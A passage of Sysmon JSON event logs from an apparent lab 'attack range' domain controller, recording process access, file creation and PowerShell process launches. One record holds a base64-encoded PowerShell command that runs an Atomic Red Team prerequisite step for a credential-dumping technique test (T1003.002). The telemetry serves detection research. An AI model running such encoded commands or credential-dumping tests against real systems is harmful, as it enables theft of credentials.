:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4993,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4994,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.915\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-001065A20700}\r\nTargetProcessId: 3992\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.915","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-001065A20700}","TargetProcessId":"3992","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4995,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:15.915\r\nProcessGuid: {90617006-415F-5F2D-0000-0010CF9E0700}\r\nProcessId: 4288\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\zde3uuuu\\zde3uuuu.dll\r\nCreationUtcTime: 2020-08-07 11:56:15.852","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:15.915","ProcessGuid":"{90617006-415F-5F2D-0000-0010CF9E0700}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\zde3uuuu\\zde3uuuu.dll","CreationUtcTime":"2020-08-07 11:56:15.852","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4996,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.404\r\nProcessGuid: {90617006-4160-5F2D-0000-00106FA40700}\r\nProcessId: 2148\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & {if (python --version) {exit 0} else {exit 1}} \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-415F-5F2D-0000-001026810700}\r\nParentProcessId: 5076\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.404","ProcessGuid":"{90617006-4160-5F2D-0000-00106FA40700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & {if (python --version) {exit 0} else {exit 1}} ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-415F-5F2D-0000-001026810700}","ParentProcessId":"5076","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4997,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.399\r\nSourceProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nSourceProcessId: 5076\r\nSourceThreadId: 4964\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4160-5F2D-0000-00106FA40700}\r\nTargetProcessId: 2148\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5889d8|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58884c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b60b078|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b581434|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a3d7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b57d576|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5b6706","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.399","SourceProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","SourceProcessId":"5076","SourceThreadId":"4964","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4160-5F2D-0000-00106FA40700}","TargetProcessId":"2148","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5889d8|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58884c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b60b078|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b581434|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a3d7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b57d576|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5b6706","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4998,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.399\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4160-5F2D-0000-00106FA40700}\r\nTargetProcessId: 2148\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.399","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4160-5F2D-0000-00106FA40700}","TargetProcessId":"2148","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4999,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.399\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:16.399","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5000,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:16.399\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 